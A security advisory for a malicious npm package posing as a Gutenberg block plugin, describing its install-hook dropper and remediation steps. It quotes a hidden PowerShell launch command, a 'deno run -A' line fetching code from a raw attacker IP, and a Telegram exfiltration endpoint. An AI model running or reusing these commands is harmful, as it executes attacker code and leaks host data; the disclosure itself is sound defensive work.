# MAL-2026-11044: Malicious code in tailwind-gutenberg-block-zero (npm)


- **Type:** Malicious package
- **Package:** `tailwind-gutenberg-block-zero` (npm)
- **Published:** 20 Jul 2026

## What is MAL-2026-11044?

MAL-2026-11044 is a malicious package in tailwind-gutenberg-block-zero, published on 20 Jul 2026. 

### Official description

The npm package `tailwind-gutenberg-block-zero` is a supply-chain dropper disguised as a WordPress / Gutenberg block plugin. The published tarball carries the trappings of a real plugin (a `my-tailwind-blocks.php`, a `wp-scripts` build configuration, a README and a screenshot), but its real behaviour lives in an npm install lifecycle hook.

`package.json` declares `scripts.install = "node setup.js"`, so `setup.js` executes automatically on `npm install`, before the package is ever imported. The script fingerprints the host (`os.platform()`, `os.hostname()`), downloads a second-stage payload from the hardcoded raw IP `http://172.94.9.157/v028f8cde892b0b74c8.js` and writes it to disk, then executes it through a hidden, minimised PowerShell process (`child_process.exec("start /min powershell ...")`, alongside a bundled `setup.ps1`) — a Windows-targeted download-and-execute chain. Collected data is exfiltrated to a Telegram bot via `https://api.telegram.org/bot<token>/sendMessage` (the URL was reconstructed from an assembled string; the bot token is withheld).

Any developer workstation or CI runner that installs the package (directly or transitively) hands arbitrary code execution to the operator.

package.json declares `"install": "node setup.js"`, so setup.js runs automatically on `npm install`. setup.js writes a PowerShell script to the OS temp directory and launches it with `start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File...` (windowsHide:true, detached:true), then exits within ~500ms to conceal the child process. The staged PowerShell script installs Scoop/winget, installs the Deno runtime, and runs `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js` — remote, unpinned JavaScript pulled over cleartext HTTP from a bare IP address and executed with Deno's `-A` all-permissions flag, giving arbitrary code full filesystem, network, environment, and subprocess access on the installer's machine. setup.js additionally collects `os.hostname()`, `os.platform()`, `os.arch()`, and a package identifier at install time and POSTs a `[NEW INSTALLATION]` beacon to `api.telegram.org/bot<token>/sendMessage` (bot token and chat id are blanked in this shipped variant but the exfil path is wired). The destination host is not the package's publisher, the runtime install is not the attack surface, and the fetched-and-executed remote JS is attacker-controlled; the cover story of a `CMS Store Hub installation` does not match the shipped behavior.

## What should I do about MAL-2026-11044?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-11044 is a malicious package: tailwind-gutenberg-block-zero (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-11044/ (Markdown: https://insights.sbomify.com/MAL-2026-11044/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-11044

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-11044/
Summaries are generated and may contain mistakes; the official description above is the record.